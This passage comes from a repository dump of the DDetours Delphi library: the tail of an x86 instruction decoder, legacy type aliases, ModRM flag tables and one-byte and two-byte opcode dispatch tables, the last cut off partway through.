  LErrors: Byte;
  LVA: PByte;
  LOptions: Byte;
begin
  { No Errors }
  SetInstError(PInst, NO_ERROR);

  if not(PInst^.Archi in [CPUX32, CPUX64]) then
    SetInstError(PInst, INVALID_CPUX);

  if not Assigned(PInst^.Addr) then
    SetInstError(PInst, INVALID_ADDRESS);

  { Init Instruction Structure }
  LArchi := PInst^.Archi;
  LAddr := PInst^.Addr;
  LVA := PInst^.VirtualAddr;
  LErrors := PInst^.Errors;
  LOptions := PInst^.Options;

  FillChar(PInst^, SizeOf(TInstruction), #0);

  PInst^.Archi := LArchi;
  PInst^.Addr := LAddr;
  PInst^.Errors := LErrors;
  PInst^.VirtualAddr := LVA;
  PInst.Options := LOptions;

  P := PInst^.Addr;
  PInst^.NextInst := P;

  PInst^.LID.zOpSize := ops32bits;
  PInst^.LID.vOpSize := ops32bits;
  PInst^.AddrMode := DefAddressMode[PInst^.Archi];

  { Default Op Table is One Byte ! }
  PInst^.OpTable := tbOneByte;

  DecoderProcTable[OneByteTable[P^]](PInst);
  Result := Integer(NativeInt(PInst^.NextInst) - NativeInt(P));
  PInst^.InstSize := Result;

  if Result > CPUX_TO_INST_LENGTH[PInst^.Archi] then
    SetInstError(PInst, INVALID_INSTRUCTION_LENGTH);
end;

end.


================================================
FILE: Detour Hooking/Source/LegacyTypes.pas
================================================
// **************************************************************************************************
//
// https://github.com/MahdiSafsafi/DDetours
//
// **************************************************************************************************

unit LegacyTypes;

interface

{$I DDetoursDefs.inc}

type

{$IFNDEF FPC}
{$IFNDEF DELPHI_XE_UP}
  NativeInt   = Integer;
  NativeUInt  = Cardinal;
  PNativeInt  = ^NativeInt;
  PNativeUInt = ^NativeUInt;
{$IFDEF MSWINDOWS}
  TThreadID = LongWord;
{$ENDIF MSWINDOWS}
{$ENDIF DELPHI_XE_UP}
{$ENDIF FPC}
  Int8 = Shortint;
  Int16 = Smallint;
  Int32 = Integer;

  UInt8 = Byte;
  UInt16 = Word;
  UInt32 = Cardinal;

  PInt8 = ^Int8;
  PInt16 = ^Int16;
  PInt32 = ^Int32;
  PInt64 = ^Int64;

  PUInt8 = ^UInt8;
  PUInt16 = ^UInt16;
  PUInt32 = ^UInt32;
  PUInt64 = ^UInt64;

  SIZE_T = NativeUInt;

implementation

end.


================================================
FILE: Detour Hooking/Source/ModRmFlagsTables.inc
================================================
// **************************************************************************************************
// Part of x86 Instruction Decode Library [InstDecode]
// 
// https://github.com/MahdiSafsafi/DDetours
//
// This Source Code Form is subject to the terms of the Mozilla 
// Public License, v. 2.0. If a copy of the MPL was not distributed 
// with this file, You can obtain one at
// https://mozilla.org/MPL/2.0/.
// **************************************************************************************************


{ Reference : Intel® 64 and IA-32 Architectures Software Developer’s Manual Vol 2 }

type
  TModRmFlagsArray = array [Byte] of Byte;
  PModRmFlagsArray = ^TModRmFlagsArray;
  {
    ModRMFlags :
    Bits:4 3 2 1 0 .

    Bit 0 : Set ==> Register Indirect Addressing Mode  .
    Bit 1 : Set ==> Displacement 8 bit .
    Bit 2 : Set ==> Displacement 16 bit .
    Bit 3 : Set ==> Displacement 32 bit.
    Bit 4 : Set ==> SIB Used  .


    Values:

    $00 ==> Register .
    $01 ==> Register Indirect Addressing Mode with No Displacement .
    $03 ==> Register Indirect Addressing Mode + 8 bit Displacement .
    $04 ==> 16 bit Displacement only without register .
    $05 ==> Register Indirect Addressing Mode + 16 bit Displacement .
    $08 ==> 32 bit Displacement only without register .
    $09 ==> Register Indirect Addressing Mode + 32 bit Displacement .
    $11 ==>  Register Indirect Addressing Mode + SIB .
    $13 ==> Register Indirect Addressing Mode + SIB + 8 bit Displacement .
    $19 ==> Register Indirect Addressing Mode + SIB + 32 bit Displacement .

  }

const

  ModRM16Flags: TModRmFlagsArray = (
    { =>        Mod=00b       <= }
    $01, $01, $01, $01, $01, $01, $04, $01, { 00 }
    $01, $01, $01, $01, $01, $01, $04, $01, { 00 }
    $01, $01, $01, $01, $01, $01, $04, $01, { 00 }
    $01, $01, $01, $01, $01, $01, $04, $01, { 00 }
    $01, $01, $01, $01, $01, $01, $04, $01, { 00 }
    $01, $01, $01, $01, $01, $01, $04, $01, { 00 }
    $01, $01, $01, $01, $01, $01, $04, $01, { 00 }
    $01, $01, $01, $01, $01, $01, $04, $01, { 00 }
    { =>        Mod=01b       <= }
    $03, $03, $03, $03, $03, $03, $03, $03, { 01 }
    $03, $03, $03, $03, $03, $03, $03, $03, { 01 }
    $03, $03, $03, $03, $03, $03, $03, $03, { 01 }
    $03, $03, $03, $03, $03, $03, $03, $03, { 01 }
    $03, $03, $03, $03, $03, $03, $03, $03, { 01 }
    $03, $03, $03, $03, $03, $03, $03, $03, { 01 }
    $03, $03, $03, $03, $03, $03, $03, $03, { 01 }
    $03, $03, $03, $03, $03, $03, $03, $03, { 01 }
    { =>        Mod=10b       <= }
    $05, $05, $05, $05, $05, $05, $05, $05, { 10 }
    $05, $05, $05, $05, $05, $05, $05, $05, { 10 }
    $05, $05, $05, $05, $05, $05, $05, $05, { 10 }
    $05, $05, $05, $05, $05, $05, $05, $05, { 10 }
    $05, $05, $05, $05, $05, $05, $05, $05, { 10 }
    $05, $05, $05, $05, $05, $05, $05, $05, { 10 }
    $05, $05, $05, $05, $05, $05, $05, $05, { 10 }
    $05, $05, $05, $05, $05, $05, $05, $05, { 10 }
    { =>        Mod=11b       <= }
    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }
    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }
    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }
    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }
    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }
    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }
    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }
    $00, $00, $00, $00, $00, $00, $00, $00 { 11 }

    );
  ModRM32Flags: TModRmFlagsArray = (
    { =>        Mod=00b       <= }
    $01, $01, $01, $01, $11, $08, $01, $01, { 00 }
    $01, $01, $01, $01, $11, $08, $01, $01, { 00 }
    $01, $01, $01, $01, $11, $08, $01, $01, { 00 }
    $01, $01, $01, $01, $11, $08, $01, $01, { 00 }
    $01, $01, $01, $01, $11, $08, $01, $01, { 00 }
    $01, $01, $01, $01, $11, $08, $01, $01, { 00 }
    $01, $01, $01, $01, $11, $08, $01, $01, { 00 }
    $01, $01, $01, $01, $11, $08, $01, $01, { 00 }
    { =>        Mod=01b       <= }
    $03, $03, $03, $03, $13, $03, $03, $03, { 01 }
    $03, $03, $03, $03, $13, $03, $03, $03, { 01 }
    $03, $03, $03, $03, $13, $03, $03, $03, { 01 }
    $03, $03, $03, $03, $13, $03, $03, $03, { 01 }
    $03, $03, $03, $03, $13, $03, $03, $03, { 01 }
    $03, $03, $03, $03, $13, $03, $03, $03, { 01 }
    $03, $03, $03, $03, $13, $03, $03, $03, { 01 }
    $03, $03, $03, $03, $13, $03, $03, $03, { 01 }
    { =>        Mod=10b       <= }
    $09, $09, $09, $09, $19, $09, $09, $09, { 10 }
    $09, $09, $09, $09, $19, $09, $09, $09, { 10 }
    $09, $09, $09, $09, $19, $09, $09, $09, { 10 }
    $09, $09, $09, $09, $19, $09, $09, $09, { 10 }
    $09, $09, $09, $09, $19, $09, $09, $09, { 10 }
    $09, $09, $09, $09, $19, $09, $09, $09, { 10 }
    $09, $09, $09, $09, $19, $09, $09, $09, { 10 }
    $09, $09, $09, $09, $19, $09, $09, $09, { 10 }
    { =>        Mod=11b       <= }
    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }
    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }
    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }
    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }
    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }
    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }
    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }
    $00, $00, $00, $00, $00, $00, $00, $00 { 11 }

    );

  ModRmFlags: array [0 .. 3] of PModRmFlagsArray = ( //
    nil,
    @ModRM16Flags, { AddrMode 16-bits }
    @ModRM32Flags, { AddrMode 32-bits }
    @ModRM32Flags { AddrMode 64-bits }
    );

================================================
FILE: Detour Hooking/Source/OpCodesTables.inc
================================================
// **************************************************************************************************
// Part of x86 Instruction Decode Library [InstDecode]
// 
// https://github.com/MahdiSafsafi/DDetours
//
// This Source Code Form is subject to the terms of the Mozilla 
// Public License, v. 2.0. If a copy of the MPL was not distributed 
// with this file, You can obtain one at
// https://mozilla.org/MPL/2.0/.
// **************************************************************************************************

{ Reference :
	-sandpile.org
	-Intel® 64 and IA-32 Architectures Software Developer’s Manual Vol 2
}

{ ============================================
			Index -> DecoderProc
  ============================================ }
{ 00 = Decode_InvalidOpCode}
{ 01 = Decode_NA_ModRm}
{ 02 = Decode_NA_Ib}
{ 03 = Decode_NA_Iz}
{ 04 = Decode_NA_I64}
{ 05 = Decode_Escape_2_Byte}
{ 06 = Decode_ES_Prefix}
{ 07 = Decode_CS_Prefix}
{ 08 = Decode_SS_Prefix}
{ 09 = Decode_DS_Prefix}
{ 10 = Decode_REX_Prefix}
{ 11 = Decode_NA_D64}
{ 12 = Decode_NA_ModRm_I64}
{ 13 = Decode_FS_Prefix}
{ 14 = Decode_GS_Prefix}
{ 15 = Decode_OPSIZE_Prefix}
{ 16 = Decode_ADSIZE_Prefix}
{ 17 = Decode_NA_Iz_D64}
{ 18 = Decode_NA_ModRm_Iz}
{ 19 = Decode_NA_Ib_D64}
{ 20 = Decode_NA_ModRm_Ib}
{ 21 = Decode_NA}
{ 22 = Decode_NA_Jb_Df64}
{ 23 = Decode_Group_1}
{ 24 = Decode_Group_1A}
{ 25 = Decode_NA_CALL_Ap_I64}
{ 26 = Decode_NA_OfstV}
{ 27 = Decode_NA_Iv}
{ 28 = Decode_Group_2}
{ 29 = Decode_NA_RET_Iw_Df64}
{ 30 = Decode_NA_RET_Df64}
{ 31 = Decode_VEX3_Prefix}
{ 32 = Decode_VEX2_Prefix}
{ 33 = Decode_Group_11}
{ 34 = Decode_NA_Iw_Ib_D64}
{ 35 = Decode_NA_RET_Iw}
{ 36 = Decode_NA_RET}
{ 37 = Decode_NA_Ib_I64}
{ 38 = Decode_Escape_FPU_D8}
{ 39 = Decode_Escape_FPU_D9}
{ 40 = Decode_Escape_FPU_DA}
{ 41 = Decode_Escape_FPU_DB}
{ 42 = Decode_Escape_FPU_DC}
{ 43 = Decode_Escape_FPU_DD}
{ 44 = Decode_Escape_FPU_DE}
{ 45 = Decode_Escape_FPU_DF}
{ 46 = Decode_NA_CALL_Jz_Df64}
{ 47 = Decode_NA_JMP_Jz_Df64}
{ 48 = Decode_NA_JMP_Ap_I64}
{ 49 = Decode_NA_JMP_Jb_Df64}
{ 50 = Decode_LOCK_Prefix}
{ 51 = Decode_REPNE_Prefix}
{ 52 = Decode_REPE_Prefix}
{ 53 = Decode_Group_3}
{ 54 = Decode_Group_4_INC_DEC}
{ 55 = Decode_Group_5_INC_DEC}
{ 56 = Decode_Group_6}
{ 57 = Decode_Group_7}
{ 58 = Decode_NA_CALL}
{ 59 = Decode_NA_66_F2_F3_ModRm}
{ 60 = Decode_NA_66_ModRm}
{ 61 = Decode_NA_66_F3_ModRm}
{ 62 = Decode_Group_16}
{ 63 = Decode_NA_ModRm_F64}
{ 64 = Decode_Escape_3_Byte}
{ 65 = Decode_NA_F3_ModRm}
{ 66 = Decode_66_ModRm}
{ 67 = Decode_NA_66_F2_F3_ModRm_Ib}
{ 68 = Decode_Group_12}
{ 69 = Decode_Group_13}
{ 70 = Decode_Group_14}
{ 71 = Decode_66_F2_ModRm}
{ 72 = Decode_NA_Jz_Df64}
{ 73 = Decode_Group_15}
{ 74 = Decode_F3_ModRm}
{ 75 = Decode_Group_10_UD2}
{ 76 = Decode_Group_8}
{ 77 = Decode_NA_66_ModRm_Ib}
{ 78 = Decode_Group_9}
{ 79 = Decode_66_F2_F3_ModRm}
{ 80 = Decode_F2_ModRm}
{ 81 = Decode_SP_T38_F0_F7}
{ 82 = Decode_66_ModRm_Ib}
{ 83 = Decode_F2_ModRm_Ib}

{============================================
                  OneByteTable                    
============================================}
const OneByteTable : array[Byte] of Byte =(//
{0x00} 01, {ADD}
{0x01} 01, {ADD}
{0x02} 01, {ADD}
{0x03} 01, {ADD}
{0x04} 02, {ADD}
{0x05} 03, {ADD}
{0x06} 04, {PUSH}
{0x07} 04, {POP}
{0x08} 01, {OR}
{0x09} 01, {OR}
{0x0A} 01, {OR}
{0x0B} 01, {OR}
{0x0C} 02, {OR}
{0x0D} 03, {OR}
{0x0E} 04, {PUSH}
{0x0F} 05, {Escape_2_Byte}
{0x10} 01, {ADC}
{0x11} 01, {ADC}
{0x12} 01, {ADC}
{0x13} 01, {ADC}
{0x14} 02, {ADC}
{0x15} 03, {ADC}
{0x16} 04, {PUSH}
{0x17} 04, {POP}
{0x18} 01, {SBB}
{0x19} 01, {SBB}
{0x1A} 01, {SBB}
{0x1B} 01, {SBB}
{0x1C} 02, {SBB}
{0x1D} 03, {SBB}
{0x1E} 04, {PUSH}
{0x1F} 04, {POP}
{0x20} 01, {AND}
{0x21} 01, {AND}
{0x22} 01, {AND}
{0x23} 01, {AND}
{0x24} 02, {AND}
{0x25} 03, {AND}
{0x26} 06, {ES_Prefix}
{0x27} 04, {DAA}
{0x28} 01, {SUB}
{0x29} 01, {SUB}
{0x2A} 01, {SUB}
{0x2B} 01, {SUB}
{0x2C} 02, {SUB}
{0x2D} 03, {SUB}
{0x2E} 07, {CS_Prefix}
{0x2F} 04, {DAS}
{0x30} 01, {XOR}
{0x31} 01, {XOR}
{0x32} 01, {XOR}
{0x33} 01, {XOR}
{0x34} 02, {XOR}
{0x35} 03, {XOR}
{0x36} 08, {SS_Prefix}
{0x37} 04, {AAA}
{0x38} 01, {CMP}
{0x39} 01, {CMP}
{0x3A} 01, {CMP}
{0x3B} 01, {CMP}
{0x3C} 02, {CMP}
{0x3D} 03, {CMP}
{0x3E} 09, {DS_Prefix}
{0x3F} 04, {AAS}
{0x40} 10, {INC/REX_Prefix}
{0x41} 10, {INC/REX_Prefix}
{0x42} 10, {INC/REX_Prefix}
{0x43} 10, {INC/REX_Prefix}
{0x44} 10, {INC/REX_Prefix}
{0x45} 10, {INC/REX_Prefix}
{0x46} 10, {INC/REX_Prefix}
{0x47} 10, {INC/REX_Prefix}
{0x48} 10, {DEC/REX_Prefix}
{0x49} 10, {DEC/REX_Prefix}
{0x4A} 10, {DEC/REX_Prefix}
{0x4B} 10, {DEC/REX_Prefix}
{0x4C} 10, {DEC/REX_Prefix}
{0x4D} 10, {DEC/REX_Prefix}
{0x4E} 10, {DEC/REX_Prefix}
{0x4F} 10, {DEC/REX_Prefix}
{0x50} 11, {PUSH}
{0x51} 11, {PUSH}
{0x52} 11, {PUSH}
{0x53} 11, {PUSH}
{0x54} 11, {PUSH}
{0x55} 11, {PUSH}
{0x56} 11, {PUSH}
{0x57} 11, {PUSH}
{0x58} 11, {POP}
{0x59} 11, {POP}
{0x5A} 11, {POP}
{0x5B} 11, {POP}
{0x5C} 11, {POP}
{0x5D} 11, {POP}
{0x5E} 11, {POP}
{0x5F} 11, {POP}
{0x60} 04, {PUSHAD/PUSHA}
{0x61} 04, {POPAD/POPA}
{0x62} 12, {BOUND}
{0x63} 01, {ARPL/MOVSXD}
{0x64} 13, {FS_Prefix}
{0x65} 14, {GS_Prefix}
{0x66} 15, {OPSIZE_Prefix}
{0x67} 16, {ADSIZE_Prefix}
{0x68} 17, {PUSH}
{0x69} 18, {IMUL}
{0x6A} 19, {PUSH}
{0x6B} 20, {IMUL}
{0x6C} 21, {INS}
{0x6D} 21, {INS}
{0x6E} 21, {OUTS}
{0x6F} 21, {OUTS}
{0x70} 22, {JO}
{0x71} 22, {JNO}
{0x72} 22, {JB}
{0x73} 22, {JNB}
{0x74} 22, {JZ}
{0x75} 22, {JNZ}
{0x76} 22, {JBE}
{0x77} 22, {JNBE}
{0x78} 22, {JS}
{0x79} 22, {JNS}
{0x7A} 22, {JP}
{0x7B} 22, {JNP}
{0x7C} 22, {JL}
{0x7D} 22, {JNL}
{0x7E} 22, {JLE}
{0x7F} 22, {JNLE}
{0x80} 23, {group_1}
{0x81} 23, {group_1}
{0x82} 23, {group_1*}
{0x83} 23, {group_1}
{0x84} 01, {TEST}
{0x85} 01, {TEST}
{0x86} 01, {XCHG}
{0x87} 01, {XCHG}
{0x88} 01, {MOV}
{0x89} 01, {MOV}
{0x8A} 01, {MOV}
{0x8B} 01, {MOV}
{0x8C} 01, {MOV}
{0x8D} 01, {LEA}
{0x8E} 01, {MOV}
{0x8F} 24, {group_1A}
{0x90} 21, {PAUSE/NOP}
{0x91} 21, {XCHG}
{0x92} 21, {XCHG}
{0x93} 21, {XCHG}
{0x94} 21, {XCHG}
{0x95} 21, {XCHG}
{0x96} 21, {XCHG}
{0x97} 21, {XCHG}
{0x98} 21, {CWDE/CBW/CDQE}
{0x99} 21, {CDQ/CWD/CQO}
{0x9A} 25, {CALL}
{0x9B} 21, {WAIT}
{0x9C} 11, {PUSHF}
{0x9D} 11, {POPF}
{0x9E} 21, {SAHF}
{0x9F} 21, {LAHF}
{0xA0} 26, {MOV}
{0xA1} 26, {MOV}
{0xA2} 26, {MOV}
{0xA3} 26, {MOV}
{0xA4} 21, {MOVS}
{0xA5} 21, {MOVS}
{0xA6} 21, {CMPS}
{0xA7} 21, {CMPS}
{0xA8} 02, {TEST}
{0xA9} 03, {TEST}
{0xAA} 21, {STOS}
{0xAB} 21, {STOS}
{0xAC} 21, {LODS}
{0xAD} 21, {LODS}
{0xAE} 21, {SCAS}
{0xAF} 21, {SCAS}
{0xB0} 02, {MOV}
{0xB1} 02, {MOV}
{0xB2} 02, {MOV}
{0xB3} 02, {MOV}
{0xB4} 02, {MOV}
{0xB5} 02, {MOV}
{0xB6} 02, {MOV}
{0xB7} 02, {MOV}
{0xB8} 27, {MOV}
{0xB9} 27, {MOV}
{0xBA} 27, {MOV}
{0xBB} 27, {MOV}
{0xBC} 27, {MOV}
{0xBD} 27, {MOV}
{0xBE} 27, {MOV}
{0xBF} 27, {MOV}
{0xC0} 28, {group_2}
{0xC1} 28, {group_2}
{0xC2} 29, {RET}
{0xC3} 30, {RET}
{0xC4} 31, {LES/VEX3_Prefix}
{0xC5} 32, {LDS/VEX2_Prefix}
{0xC6} 33, {group_11}
{0xC7} 33, {group_11}
{0xC8} 34, {ENTER}
{0xC9} 11, {LEAVE}
{0xCA} 35, {RET}
{0xCB} 36, {RET}
{0xCC} 21, {INT3}
{0xCD} 02, {INT}
{0xCE} 04, {INTO}
{0xCF} 36, {IRET}
{0xD0} 28, {group_2}
{0xD1} 28, {group_2}
{0xD2} 28, {group_2}
{0xD3} 28, {group_2}
{0xD4} 37, {AAM}
{0xD5} 37, {AAD}
{0xD6} 04, {SETALC}
{0xD7} 21, {XLAT}
{0xD8} 38, {Escape_FPU_D8}
{0xD9} 39, {Escape_FPU_D9}
{0xDA} 40, {Escape_FPU_DA}
{0xDB} 41, {Escape_FPU_DB}
{0xDC} 42, {Escape_FPU_DC}
{0xDD} 43, {Escape_FPU_DD}
{0xDE} 44, {Escape_FPU_DE}
{0xDF} 45, {Escape_FPU_DF}
{0xE0} 22, {LOOPNZ/LOOPNE}
{0xE1} 22, {LOOPZ/LOOPE}
{0xE2} 22, {LOOP}
{0xE3} 22, {JRCX/JECX/JCXZ}
{0xE4} 02, {IN}
{0xE5} 02, {IN}
{0xE6} 02, {OUT}
{0xE7} 02, {OUT}
{0xE8} 46, {CALL}
{0xE9} 47, {JMP}
{0xEA} 48, {JMP}
{0xEB} 49, {JMP}
{0xEC} 21, {IN}
{0xED} 21, {IN}
{0xEE} 21, {OUT}
{0xEF} 21, {OUT}
{0xF0} 50, {LOCK_Prefix}
{0xF1} 21, {INT1}
{0xF2} 51, {REPNE_Prefix}
{0xF3} 52, {REPE_Prefix}
{0xF4} 21, {HLT}
{0xF5} 21, {CMC}
{0xF6} 53, {group_3}
{0xF7} 53, {group_3}
{0xF8} 21, {CLC}
{0xF9} 21, {STC}
{0xFA} 21, {CLI}
{0xFB} 21, {STI}
{0xFC} 21, {CLD}
{0xFD} 21, {STD}
{0xFE} 54, {group_4_INC_DEC}
{0xFF} 55 {group_5_INC_DEC}
);
{============================================
                  TwoByteTable                    
============================================}
const TwoByteTable : array[Byte] of Byte =(//
{0x00} 56, {group_6}
{0x01} 57, {group_7}
{0x02} 01, {LAR}
{0x03} 01, {LSL}
{0x04} 21, {LOADALL?/RESET?/HANG?}
{0x05} 58, {LOADALL/SYSCALL}
{0x06} 21, {CLTS}
{0x07} 36, {LOADALL/SYSRET}
{0x08} 21, {INVD}
{0x09} 21, {WBINVD}
{0x0A} 21, {CL1INVMB}
{0x0B} 21, {UD1}
{0x0C} 00, {InvalidOpCode}
{0x0D} 21, {3DNow}
{0x0E} 21, {3DNow}
{0x0F} 21, {3DNow}
{0x10} 59, {VMOVUPD/VMOVSD/VMOVSS/VMOVUPS}
{0x11} 59, {VMOVUPD/VMOVSD/VMOVSS/VMOVUPS}
{0x12} 59, {VMOVLPD/VMOVDDUP/VMOVSLDUP/VMOVLPS/VMOVHLPS}
{0x13} 60, {InvalidOpCode/VMOVLPD/VMOVLPS}
{0x14} 60, {InvalidOpCode/VUNPCKLPD/VUNPCKLPS}
{0x15} 60, {InvalidOpCode/VUNPCKHPD/VUNPCKHPS}
{0x16} 61, {InvalidOpCode/VMOVHPD/VMOVSHDUP/VMOVLHPS/VMOVHPS}
{0x17} 60, {InvalidOpCode/VMOVHPD/VMOVHPS}
{0x18} 62, {group_16}
{0x19} 62, {group_16}
{0x1A} 62, {group_16}
{0x1B} 62, {group_16}
{0x1C} 62, {group_16}
{0x1D} 62, {group_16}
{0x1E} 62, {group_16}
{0x1F} 62, {group_16}
{0x20} 63, {MOV}
{0x21} 63, {MOV}
{0x22} 63, {MOV}
{0x23} 63, {MOV}
{0x24} 63, {MOV}
{0x25} 00, {InvalidOpCode}
{0x26} 63, {MOV}
{0x27} 00, {InvalidOpCode}
{0x28} 60, {InvalidOpCode/VMOVAPD/VMOVAPS}
{0x29} 60, {InvalidOpCode/VMOVAPD/VMOVAPS}
{0x2A} 59, {VCVTSI2SD/CVTPI2PD/VCVTSI2SS/CVTPI2PS}
{0x2B} 59, {MOVNTSD/MOVNTSS/VMOVNTPD/VMOVNTPS}
{0x2C} 59, {CVTTPD2PI/VCVTTSD2SI/CVTTPS2PI/VCVTTSS2SI}
{0x2D} 59, {CVTPD2PI/VCVTSD2SI/CVTPS2PI/VCVTSS2SI}
{0x2E} 60, {InvalidOpCode/VUCOMISD/VUCOMISS}
{0x2F} 60, {InvalidOpCode/VCOMISD/VCOMISS}
{0x30} 21, {WRMSR}
{0x31} 21, {RDTSC}
{0x32} 21, {RDMSR}
{0x33} 21, {RDPMC}
{0x34} 21, {SYSENTER}
{0x35} 21, {SYSEXIT}
{0x36} 00, {InvalidOpCode}
{0x37} 21, {GETSEC}
{0x38} 64, {Escape_3_Byte}
{0x39} 00, {InvalidOpCode}
{0x3A} 64, {Escape_3_Byte}
{0x3B} 00, {InvalidOpCode}
{0x3C} 00, {InvalidOpCode}
{0x3D} 00, {InvalidOpCode}
{0x3E} 00, {InvalidOpCode}
{0x3F} 00, {InvalidOpCode}
{0x40} 01, {CMOVO}
{0x41} 01, {CMOVNO}
{0x42} 01, {CMOVB}
{0x43} 01, {CMOVNB}
{0x44} 01, {CMOVZ}
{0x45} 01, {CMOVNZ}
{0x46} 01, {CMOVBE}
{0x47} 01, {CMOVNBE}
{0x48} 01, {CMOVS}
{0x49} 01, {CMOVNS}
{0x4A} 01, {CMOVP}
{0x4B} 01, {CMOVNP}
{0x4C} 01, {CMOVL}
{0x4D} 01, {CMOVNL}
{0x4E} 01, {CMOVLE}
{0x4F} 01, {CMOVNLE}
{0x50} 60, {InvalidOpCode/VMOVMSKPD/VMOVMSKPS}
{0x51} 59, {VSQRTPD/VSQRTSD/VSQRTSS/VSQRTPS}
{0x52} 65, {InvalidOpCode/VRSQRTSS/VRSQRTPS}
{0x53} 65, {InvalidOpCode/VRCPSS/VRCPPS}
{0x54} 60, {InvalidOpCode/VANDPD/VANDPS}
{0x55} 60, {InvalidOpCode/VANDNPD/VANDNPS}
{0x56} 60, {InvalidOpCode/VORPD/VORPS}
{0x57} 60, {InvalidOpCode/VXORPD/VXORPS}
{0x58} 59, {VADDPD/VADDSD/VADDSS/VADDPS}
{0x59} 59, {VMULPD/VMULSD/VMULSS/VMULPS}
{0x5A} 59, {VCVTPD2PS/VCVTSD2SS/VCVTSS2SD/VCVTPS2PD}
{0x5B} 61, {InvalidOpCode/VCVTPS2DQ/VCVTTPS2DQ/VCVTDQ2PS}
{0x5C} 59, {VSUBPD/VSUBSD/VSUBSS/VSUBPS}
{0x5D} 59, {VMINPD/VMINSD/VMINSS/VMINPS}
{0x5E} 59, {VDIVPD/VDIVSD/VDIVSS/VDIVPS}
{0x5F} 59, {VMAXPD/VMAXSD/VMAXSS/VMAXPS}
{0x60} 60, {PUNPCKLBW/VPUNPCKLBW}
{0x61} 60, {PUNPCKLWD/VPUNPCKLWD}
{0x62} 60, {PUNPCKLDQ/VPUNPCKLDQ}
{0x63} 60, {PACKSSWB/VPACKSSWB}
{0x64} 60, {PCMPGTB/VPCMPGTB}
{0x65} 60, {PCMPGTW/VPCMPGTW}
{0x66} 60, {PCMPGTD/VPCMPGTD}
{0x67} 60, {PACKUSWB/VPACKUSWB}
{0x68} 60, {PUNPCKHBW/InvalidOpCode/VPUNPCKHBW}
{0x69} 60, {PUNPCKHWD/InvalidOpCode/VPUNPCKHWD}
{0x6A} 60, {PUNPCKHDQ/InvalidOpCode/VPUNPCKHDQ}
{0x6B} 60, {PACKSSDW/InvalidOpCode/VPACKSSDW}
{0x6C} 66, {InvalidOpCode/VPUNPCKLQDQ}
{0x6D} 66, {InvalidOpCode/VPUNPCKHQDQ}
{0x6E} 60, {MOVDQ/InvalidOpCode/VMOVDQ}
{0x6F} 61, {MOVQ/InvalidOpCode/VMOVDQA/VMOVDQU}
{0x70} 67, {VPSHUFD/VPSHUFLW/VPSHUFHW/PSHUFW}
{0x71} 68, {group_12}
{0x72} 69, {group_13}
{0x73} 70, {group_14}
{0x74} 60, {PCMPEQB/InvalidOpCode/VPCMPEQB}
{0x75} 60, {PCMPEQW/InvalidOpCode/VPCMPEQW}
{0x76} 60, {PCMPEQD/InvalidOpCode/VPCMPEQD}
{0x77} 21, {EMMS/VZEROUPPER/VZEROALL/InvalidOpCode}
{0x78} 01, {VMREAD/InvalidOpCode}
{0x79} 01, {VMWRITE/InvalidOpCode}
{0x7A} 21, {SSE5A/InvalidOpCode}
{0x7B} 21, {SSE5A/InvalidOpCode}
{0x7C} 71, {InvalidOpCode/VHADDPD/VHADDPS}
{0x7D} 71, {InvalidOpCode/VHSUBPD/VHSUBPS}
{0x7E} 61, {MOVDQ/InvalidOpCode/VMOVDQ/VMOVQ}
{0x7F} 61, {MOVQ/InvalidOpCode/VMOVDQA/VMOVDQU}
{0x80} 72, {JO}
{0x81} 72, {JNO}
{0x82} 72, {JB}
{0x83} 72, {JNB}
{0x84} 72, {JZ}
{0x85} 72, {JNZ}
{0x86} 72, {JBE}
{0x87} 72, {JNBE}
{0x88} 72, {JS}
{0x89} 72, {JNS}
{0x8A} 72, {JP}
{0x8B} 72, {JNP}
{0x8C} 72, {JL}
{0x8D} 72, {JNL}
{0x8E} 72, {JLE}
{0x8F} 72, {JNLE}
{0x90} 01, {SETO}
{0x91} 01, {SETNO}
{0x92} 01, {SETB}
{0x93} 01, {SETNB}
{0x94} 01, {SETZ}
{0x95} 01, {SETNZ}
{0x96} 01, {SETBE}
{0x97} 01, {SETNBE}
{0x98} 01, {SETS}
{0x99} 01, {SETNS}
{0x9A} 01, {SETP}
{0x9B} 01, {SETNP}
{0x9C} 01, {SETL}
{0x9D} 01, {SETNL}
{0x9E} 01, {SETLE}
{0x9F} 01, {SETNLE}
{0xA0} 11, {PUSH}
{0xA1} 11, {POP}
{0xA2} 21, {CPUID}
{0xA3} 01, {BT}
{0xA4} 20, {SHLD}
{0xA5} 01, {SHLD}
{0xA6} 00, {InvalidOpCode}
{0xA7} 00, {InvalidOpCode}
{0xA8} 11, {PUSH}
{0xA9} 11, {POP}
{0xAA} 21, {RSM}
{0xAB} 01, {BTS}
{0xAC} 20, {SHRD}
{0xAD} 01, {SHRD}
{0xAE} 73, {group_15}
{0xAF} 01, {IMUL}
{0xB0} 01, {CMPXCHG}
{0xB1} 01, {CMPXCHG}
{0xB2} 01, {LSS}
{0xB3} 01, {BTR}
{0xB4} 01, {LFS}
{0xB5} 01, {LGS}
{0xB6} 01, {MOVZX}
{0xB7} 01, {MOVZX}
{0xB8} 74, {POPCNT/InvalidOpCode}
{0xB9} 75, {group_10_UD2/InvalidOpCode}
{0xBA} 76, {group_8/InvalidOpCode}
{0xBB} 01, {BTC/InvalidOpCode}
{0xBC} 65, {BSF/TZCNT}
{0xBD} 65, {BSR/LZCNT}
{0xBE} 01, {MOVSX/InvalidOpCode}
{0xBF} 01, {MOVSX/InvalidOpCode}
{0xC0} 59, {XADD}
{0xC1} 59, {XADD}
{0xC2} 67, {VCMPccPD/VCMPccSD/VCMPccSS/VCMPccPS}
{0xC3} 01, {InvalidOpCode/MOVNTI}
{0xC4} 77, {InvalidOpCode/VPINSRW/PINSRW}
{0xC5} 77, {InvalidOpCode/VPEXTRW/PEXTRW}
{0xC6} 77, {InvalidOpCode/VSHUFPD/VSHUFPS}
{0xC7} 78, {group_9}
